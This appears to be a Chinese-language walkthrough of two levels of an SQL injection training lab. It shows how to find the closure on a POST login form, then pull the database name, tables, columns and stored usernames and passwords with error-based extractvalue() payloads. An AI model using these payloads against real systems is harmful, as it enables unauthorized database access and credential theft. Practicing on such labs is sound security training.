目录
第十三关
1、判断注入点
2、判断当前数据库
3、爆表名
4、爆字段名
5、爆值
第十四关
1、判断注入点
知识点：POST方式的单引号和括号闭合错误,报错注入
第十三关
思路：
1、判断注入点
使用Burpsuite抓包
首先加入一个单引号，爆出了数据库语句错误，说明存在注入点，根据提示，这里可能是’）闭合错误
uname=admin&passwd=1') # 没有爆出错误，说明是单引号和括号的闭合错误
没有出现回显信息，可能是报错注入
2、判断当前数据库
报错注入，使用的函数extractvalue()
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,database())) #
3、爆表名
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))) #
4、爆字段名
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))) #
通过修改limit的值，可以得到users表的字段为 id，username，password
5、爆值
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
uname=admin&passwd=1') and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#
通过这样的方式就可以得到数据库的数据
第十四关
原理：双引号闭合错误的报错注入
1、判断注入点
uname=admin&passwd=1'
没有任何回显内容
uname=admin&passwd=1"
数据库语句报错，分析报错信息，可以判断为右边的双引号闭合错误
加上#，结果没有报错，可以确认为双引号的闭合问题
uname=admin&passwd=1"#
接下来的步骤就跟十三关的一致
爆库名
uname=admin&passwd=1" and extractvalue(1,concat(0x7e,database()))#
这篇文章就写到这里，哪里有疑问或者不好的欢迎批评指正
)
)
